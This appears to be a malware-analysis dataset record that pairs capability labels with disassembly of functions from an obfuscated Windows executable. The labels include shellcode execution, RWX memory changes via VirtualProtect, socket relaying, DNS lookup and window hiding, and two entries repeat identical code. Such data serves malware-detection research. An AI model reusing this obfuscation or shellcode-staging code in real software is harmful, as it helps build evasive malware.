joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402abb
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x432018]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push edi
or edi, 0xe2d6
and edi, 0xf951
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0xbb59
call 0x402abb
add byte [edx + 0x3a], cl
inc esp
xor eax, 0x83364b50
les eax, [ebx + ebx*2]
push ecx
sub ecx, 0x20ed
pop ecx
cmp byte [esi + 9], 0
je 0x402c3e
mov edi, dword [esi + 4]
sub edi, dword [esi]
push ebx
xor ebx, 0x9a57
pop ebx
push ecx
push edx
add esp, 4
call 0x402af1
add byte [edx], bh
dec ecx
inc edx
dec ebx
dec ecx
inc ecx
dec ecx
add esp, 4
jmp 0x402afb
add ecx, 0x3a73
sub ecx, 0x3b88
pop ecx
je 0x402c3e
and dword [esp + 0x10], 0
push ecx
and ecx, 0x2ecd
add ecx, 0xd140
sub ecx, 0x775d
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0xc2d7
add ecx, 0x8a6b
and ecx, 0x161dd
or ecx, 0x2429
pop ecx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402c3e
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402bc3
mov ebp, dword [esp + 0x10]
push eax
push edi
add esp, 4
jmp 0x402b78
sub eax, 0x117f9
call 0x402b8c
add byte [eax + 0x32], al
dec ebp
inc eax
xor ecx, dword [eax + 0x4d]
dec esp
add esp, 4
call 0x402b9b
add byte [ebx + 0x42], al
xor al, byte [edx + 0x3d]
cmp eax, dword [ebx - 0x74a7fb3c]
inc ebp
add byte [ebx - 0x75ef7433], cl
inc esi
or byte [eax - 0xefdbbc], cl
je 0x402bd4
adc byte [ebx - 1], dl
ror byte [ebx - 0x38fcbcfa], cl
cmp ebx, eax
jb 0x402b6d
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
or eax, 0x1e63
pop eax
push esi
push esi
add esp, 4
or esi, 0x16e93
add dword [eax], eax
and esi, 0x13904
pop esi
push eax
push eax
add esp, 4
and eax, 0xad82
xor eax, 0x5e9d
or eax, 0xc585
pop eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402c3e
push esi
push edx
add esp, 4
jmp 0x402c13
and esi, 0x1ed3
and esi, 0x16a02
pop esi
push edx
xor edx, 0xbf1b
call 0x402c36
add byte [edx + 0x37], cl
cmp dl, byte [eax + 0x3c]
inc ebx
cmp byte [ebx + edi], dh
add esp, 4
pop edx
mov al, 1
jmp 0x402c40
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00411120
add esp, 0xc
ret
Function at 0x402af1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x432018]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push edi
or edi, 0xe2d6
and edi, 0xf951
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0xbb59
call 0x402abb
add byte [edx + 0x3a], cl
inc esp
xor eax, 0x83364b50
les eax, [ebx + ebx*2]
push ecx
sub ecx, 0x20ed
pop ecx
cmp byte [esi + 9], 0
je 0x402c3e
mov edi, dword [esi + 4]
sub edi, dword [esi]
push ebx
xor ebx, 0x9a57
pop ebx
push ecx
push edx
add esp, 4
call 0x402af1
add byte [edx], bh
dec ecx
inc edx
dec ebx
dec ecx
inc ecx
dec ecx
add esp, 4
jmp 0x402afb
add ecx, 0x3a73
sub ecx, 0x3b88
pop ecx
je 0x402c3e
and dword [esp + 0x10], 0
push ecx
and ecx, 0x2ecd
add ecx, 0xd140
sub ecx, 0x775d
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0xc2d7
add ecx, 0x8a6b
and ecx, 0x161dd
or ecx, 0x2429
pop ecx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402c3e
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402bc3
mov ebp, dword [esp + 0x10]
push eax
push edi
add esp, 4
jmp 0x402b78
sub eax, 0x117f9
call 0x402b8c
add byte [eax + 0x32], al
dec ebp
inc eax
xor ecx, dword [eax + 0x4d]
dec esp
add esp, 4
call 0x402b9b
add byte [ebx + 0x42], al
xor al, byte [edx + 0x3d]
cmp eax, dword [ebx - 0x74a7fb3c]
inc ebp
add byte [ebx - 0x75ef7433], cl
inc esi
or byte [eax - 0xefdbbc], cl
je 0x402bd4
adc byte [ebx - 1], dl
ror byte [ebx - 0x38fcbcfa], cl
cmp ebx, eax
jb 0x402b6d
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
or eax, 0x1e63
pop eax
push esi
push esi
add esp, 4
or esi, 0x16e93
add dword [eax], eax
and esi, 0x13904
pop esi
push eax
push eax
add esp, 4
and eax, 0xad82
xor eax, 0x5e9d
or eax, 0xc585
pop eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402c3e
push esi
push edx
add esp, 4
jmp 0x402c13
and esi, 0x1ed3
and esi, 0x16a02
pop esi
push edx
xor edx, 0xbf1b
call 0x402c36
add byte [edx + 0x37], cl
cmp dl, byte [eax + 0x3c]
inc ebx
cmp byte [ebx + edi], dh
add esp, 4
pop edx
mov al, 1
jmp 0x402c40
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00411120
add esp, 0xc
ret
Function at 0x403100
Capabilities:
Create thread

Disassembly:
push 0x2c
mov eax, 0x422eac
call fcn.004119a4
mov eax, dword [ebp + 8]
xor edi, edi
mov esi, dword [eax]
test esi, esi
je 0x403196
mov esi, dword [esi]
lea eax, [ecx + 4]
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call fcn.00402da1
mov dword [ebp - 0x20], esi
push 0x1c
mov dword [ebp - 4], edi
call fcn.0041112e
mov esi, eax
lea eax, [ebp - 0x38]
pop ecx
push eax
mov ecx, esi
call fcn.00402cb8
mov ecx, dword [ebp - 0x20]
mov dword [esi + 0x18], ecx
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push edi
push esi
push 0x403816
push edi
push edi
call fcn.00414c3c
add esp, 0x18
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40319e
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], edi
call fcn.004037fc
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00402c85
cmp dword [ebp - 0x18], edi
jne 0x4031a8
lea ecx, [ebp - 0x38]
call fcn.00402d36
call fcn.00411962
ret 4
push 6
mov dword [ebp - 0x18], edi
call fcn.0041071f
call fcn.00414ccd
int3
Function at 0x4032c2
Capabilities:
Terminate process

Disassembly:
push 8
push 0x38
mov eax, 0x422f66
call fcn.004221e5
mov esi, ecx
mov dword [ebp - 0x40], esi
xor eax, eax
mov byte [ebp - 0x24], al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00402f15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402c52
lea eax, [ebp - 0x38]
mov ecx, esi
push eax
call fcn.00402f84
mov dword [ebp - 4], 1
cmp byte [ebp - 0x28], 0
je 0x403390
movzx eax, byte [ebp - 0x38]
sub eax, 1
je 0x403389
sub eax, 3
je 0x403403
sub eax, 1
je 0x40337c
sub eax, 1
je 0x40336f
sub eax, 1
je 0x40335c
sub eax, 1
je 0x403349
sub eax, 1
jne 0x403390
lea eax, [ebp - 0x34]
push eax
call fcn.0040fb2f
jmp 0x403390
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x403390
push dword [eax + 4]
push dword [eax]
call fcn.0040f2ac
jmp 0x403390
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x403390
push dword [eax]
mov ecx, dword [esi + 0x34]
call fcn.0040f61d
jmp 0x403390
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.004031ae
jmp 0x403390
lea eax, [ebp - 0x34]
mov ecx, esi
push eax
call fcn.00403100
jmp 0x403390
mov ecx, esi
call fcn.0040322d
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x28], 0
je 0x4033a2
lea ecx, [ebp - 0x34]
call fcn.00402c52
xor eax, eax
mov byte [ebp - 0x39], 2
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x39]
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.004027f4
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 4], 2
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
sub esi, edx
mov ecx, dword [ecx]
push ecx
push ecx
mov eax, esp
mov dword [eax], edx
mov dword [eax + 4], esi
call fcn.0040a24c
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
test al, al
je 0x40340b
call fcn.00402c52
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x40]
jmp 0x4032fb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402c52
mov eax, dword [0x433d68]
call dword [eax + 0x70]
mov ecx, dword [ebp - 0x14]
call fcn.004221c3
ret

Function at 0x40375f
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x422f9a
call fcn.004119a4
mov edi, ecx
mov esi, dword [ebp + 8]
xor ebx, ebx
push 0x14
call fcn.0041112e
mov ecx, dword [esi]
mov edx, eax
mov dword [ebp - 0x14], edx
mov dword [edx], ecx
mov ecx, dword [esi + 4]
mov dword [edx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [edx + 0xc], ebx
mov dword [edx + 0x10], ebx
mov dword [edx + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edx + 0x10], eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
lea esi, [edi + 4]
mov dword [ebp - 4], ebx
push esi
push ebx
push edx
push 0x4038c4
push ebx
push ebx
call fcn.00414c3c
add esp, 0x1c
mov dword [edi], eax
test eax, eax
je 0x4037d7
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
call fcn.004037e1
call fcn.00411962
ret 4
push 6
mov dword [esi], ebx
call fcn.0041071f
int3
Function at 0x407790
Capabilities:
Encode data using xor

Disassembly:
push 0x1dc
mov eax, 0x423618
call fcn.004119a4
mov edi, ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
xor esi, esi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x40], esi
mov eax, dword fs:[0x2c]
push 2
mov dword [ebp - 0x48], 0x31
pop ebx
mov ecx, dword [eax]
mov eax, dword [0x434624]
cmp eax, dword [ecx + 4]
jle 0x407835
push 0x434624
call fcn.004112c7
cmp dword [0x434624], 0xffffffff
pop ecx
jne 0x407835
mov dword [ebp - 4], esi
mov eax, dword [0x42bd74]
mov dword [ebp - 0x3c], eax
cmp word [str.9hKU_IJq__C_b9], si
je 0x40780c
mov ecx, esi
xor edx, edx
mov eax, ecx
div dword [ebp - 0x48]
add edx, 0x38
xor word [ebp + ecx*2 - 0x3c], dx
inc ecx
cmp ecx, ebx
jl 0x4077f8
lea eax, [ebp - 0x3c]
mov ecx, 0x43462c
push eax
call fcn.00401a82
push 0x42466b
call fcn.004115d9
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x434624
call fcn.0041127d
pop ecx
lea ecx, [ebp - 0x20]
call fcn.00402862
cmp byte [ebp - 0x17], 0
jne 0x407888
push eax
push eax
add esp, 4
sub eax, 0xef3f
or eax, 0x2c0f
add eax, 0x156b6
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x6de9
pop ecx
push ebx
sub ebx, 0x16081
sub ebx, 0x158c
pop ebx
push 0x42b680
mov ecx, edi
call fcn.00401a82
mov eax, edi
jmp 0x407bbd
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 1
push esi
push edi
add esp, 4
sub esi, 0x120e8
call 0x4078af
add byte [esi + esi + 0x3e], al
dec edx
inc ebx
inc esp
xor eax, 0x4c48342
pop esi
push eax
or eax, 0x4345
add eax, 0x7a4b
sub eax, 0x155c7
pop eax
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff02ff
pop ecx
invalid
call fcn.00411962
ret

Function at 0x408308
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x408350
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x408318
jmp 0x40835d
cmp dword [esi], 0x4e0
jb 0x40835d
call fcn.00408397
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x408397
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
mov ebp, closesocket
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4083af
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4083f0
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, ebp
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [esi], 0
and eax, 0x9908b0df
shr ecx, 1
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
pop esi
pop ebp
pop ebx
ret
Function at 0x40a299
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push 0x1c
mov eax, 0x423bc7
call fcn.004119a4
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
mov esi, dword [ebp + 8]
push ecx
add ecx, 0x8e7d
pop ecx
push edi
sub edi, 0x15194
and edi, 0x16450
pop edi
push eax
add eax, 0xd128
pop eax
push edx
push ecx
add esp, 4
and edx, 0x1418e
pop edx
push ecx
or ecx, 0xeb10
pop ecx
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
push 0x4004667f
push ecx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40a333
push eax
add eax, 0x155b9
sub eax, 0x4395
call fcn.0040a314
add byte [edx + eax*2 + 0x4a], al
inc esp
inc ebx
cmp dh, byte [ebx]
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 0
je 0x40a3f8
push esi
push ebx
add esp, 4
or esi, 0xd49b
pop esi
push esi
or esi, 0x64fe
and esi, 0xc925
sub esi, 0x17862
add esi, 0x2718
pop esi
push ecx
push edx
add esp, 4
or ecx, 0xa0c2
pop ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
call fcn.00407fd7
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40a43b
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40a43b
push ecx
add ecx, 0x15ae4
or ecx, 0x30c2
and ecx, 0xd417
pop ecx
push edx
push edi
add esp, 4
and edx, 0x105c0
sub edx, 0x168b0
add edx, 0x13784
or edx, 0x10fb8
pop edx
mov bl, 1
jmp 0x40a43b
dec dword [esi]
push edx
sub edx, 0x1628b
sub edx, 0xdd0b
add edx, 0xe902
sub edx, 0x1593
pop edx
push ebx
push eax
add esp, 4
sub ebx, 0x11811
sub ebx, 0x56dd
and ebx, 0xc81e
pop ebx
mov esi, dword [esi]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
setne bl
lea ecx, [ebp - 0x20]
call fcn.00402c52
mov al, bl

Function at 0x40a5f8
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [0x432018]
xor eax, esp
mov dword [esp + 0x18], eax
push edi
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
xor ecx, ecx
mov byte [esp + 4], cl
mov dword [esp + 6], ecx
mov word [esp + 0xa], cx
lea ecx, [esp + 4]
stosd dword es:[edi], eax
push ecx
stosd dword es:[edi], eax
mov al, byte [esp + 0x2c]
mov byte [esp + 9], al
lea eax, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004027f4
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0x10]
push 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
lea ecx, [esp + 0x10]
setg byte [esp + 0xf]
call fcn.00402c52
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + 0xf]
pop edi
xor ecx, esp
call fcn.00411120
add esp, 0x1c
ret 8
Function at 0x40a70e
Capabilities:
Resolve dns

Disassembly:
push 0x40
mov eax, 0x423c42
call fcn.004119a4
mov esi, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ebx
mov dword [esi], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], 0xf
mov byte [esi], dl
mov dword [ebp - 4], edx
lea ecx, [ebx + 8]
mov dword [ebp - 0x2c], 1
mov edi, edx
add ebx, 0x108
jmp 0x40a757
cmp byte [ecx], 0
je 0x40a75d
inc edi
inc ecx
cmp ecx, ebx
jne 0x40a750
jmp 0x40a75f
mov edx, edi
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
add eax, 9
add eax, edx
push eax
call fcn.00406973
mov dword [ebp - 4], 2
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40a7b3
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00406973
push eax
mov ecx, esi
call fcn.0040a594
lea ecx, [ebp - 0x4c]
call fcn.00402d36
lea ecx, [ebp - 0x28]
call fcn.00402d36
mov eax, esi
call fcn.00411962
ret 8
Function at 0x40a7c5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0x17c
mov eax, 0x423c9c
call fcn.004119a4
mov eax, ecx
mov dword [ebp - 0x180], eax
lea edx, [eax + 0x18]
xor ebx, ebx
call fcn.0040a44b
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp esi, 0xffffffff
je 0x40a98a
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x184], eax
mov edi, 0x108
mov dword [ebp - 4], ebx
push edi
lea eax, [ebp - 0x17c]
push ebx
push eax
call fcn.004130d0
add esp, 0xc
lea eax, [ebp - 0x17c]
push ebx
push edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jle 0x40a985
mov ecx, dword [ebp - 0x178]
lea edi, [ebp - 0x38]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, ecx
shr eax, 0x18
push eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
push eax
mov eax, ecx
shr eax, 8
movzx eax, al
push eax
movzx eax, cl
push eax
lea eax, [ebp - 0x38]
push str._u._u._u._u
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], bl
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x28]
call fcn.00406973
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
call fcn.0040a67a
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov bl, al
call fcn.00402d36
test bl, bl
je 0x40a8d3
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040a70e
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040a594
lea ecx, [ebp - 0x28]
call fcn.00402d36
jmp 0x40a8df
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x5c]
call fcn.004069aa
push dword [ebp - 0x17a]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
lea ecx, [ebp - 0x13]
call fcn.00402ead
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00402ed1
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x5c]
call fcn.0040a44b
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x40a975
lea eax, [ebp - 0x40]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x180]
mov byte [ebp - 4], 5
movzx eax, byte [eax + 0x31]
push eax
push dword [ebp - 0x3c]
call fcn.0040a5f8
test al, al
je 0x40a970
mov dword [ebp - 0x44], 0xbb8
jmp 0x40a95c
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push eax
call fcn.0040a299
pop ecx
test al, al
je 0x40a970
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x44]
mov ecx, dword [ebp - 0x3c]
push eax
call fcn.0040a299
pop ecx
test al, al
jne 0x40a948
push dword [ebp - 0x40]
call esi
lea ecx, [ebp - 0x74]
call fcn.00402d36
lea ecx, [ebp - 0x5c]
call fcn.00402d36
push dword [ebp - 0x3c]
call esi
call fcn.00411962
ret
Function at 0x40e4b4
Capabilities:
Hide graphical window

Disassembly:
add esp, 4
call 0x40e41d
add byte [ecx], bh
cmp al, 0x44
dec eax
dec ebx
xor ecx, dword [edx + 0x4f]
inc esp
add esp, 4
pop edx
push eax
push edx
add esp, 4
xor eax, 0x8a1b
pop eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
jne 0x40e473
push edx
sub edx, 0xb9bd
sub edx, 0x16a34
or edx, 0xdfde
pop edx
push ebx
push esi
add esp, 4
and ebx, 0x180dc
and ebx, 0x313b
sub ebx, 0xb53d
or ebx, 0x77e
pop ebx
jmp 0x40e559
movd xmm0, dword [ebp - 0x14]
cvtdq2pd xmm0, xmm0
comisd xmm0, xmmword [0x42c698]
jb 0x40e4de
push ecx
xor ecx, 0xd1c6
sub ecx, 0x7d20
pop ecx
push esi
xor esi, 0x1190
and esi, 0x1480e
and esi, 0x10962
call 0x40e4b4
add byte [eax + 0x3c], al
cmp byte [ecx + 0x49], al
dec edi
dec eax
add esp, 4
pop esi
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x10]
push 1
push 0
push 0
add eax, 0xffffec78
push eax
push 0xffffec78
push 1
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push edx
xor edx, 0xa36f
pop edx
push edi
push esi
add esp, 4
or edi, 0x13d84
pop edi
push edi
push ecx
add esp, 4
xor edi, 0xc7cd
sub edi, 0x5571
and edi, 0x7aca
and edi, 0x8666
pop edi
push ecx
push esi
call fcn.0040e567
test al, al
je 0x40e559
push eax
xor eax, 0x2307
pop eax
push edi
push edx
add esp, 4
call 0x40e535
add byte [eax], bh
dec ebp
dec ecx
dec edx
inc edi
dec esi
add esp, 4
pop edi
push ecx
and ecx, 0x254f
pop ecx
push ebx
push ecx
add esp, 4
add ebx, 0xc031
pop ebx
mov eax, dword [0x433d64]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00411120
leave
ret

Function at 0x411d88
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x411dc7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x411dc7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411dc7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x411dc7
cmp dword [ecx + 0x74], 0xe
jbe 0x411dc7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4179d6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427df0
push 0x427de8
push str.FlsAlloc
push 0x1f
call fcn.00417855
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417a0a
push dword [ebp + 8]
mov ecx, esi
call dword [0x425314]
call esi
jmp 0x417a10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x417a54
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427e00
push 0x427df8
push str.FlsGetValue
push 0x21
call fcn.00417855
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417a8b
push dword [ebp + 8]
mov ecx, esi
call dword [0x425314]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x417a93
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427e08
push 0x427e00
push str.FlsSetValue
push 0x22
call fcn.00417855
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417acd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x425314]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41a94a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41a9e7
push ebx
push esi
call fcn.0041a913
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041a8a7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41a994
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a9e6
push edi
push eax
call fcn.00418d01
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41a9b4
call fcn.004176e8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a9e5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041a8a7
add esp, 0x20
test eax, eax
jne 0x41a9d3
push edi
call fcn.004176e8
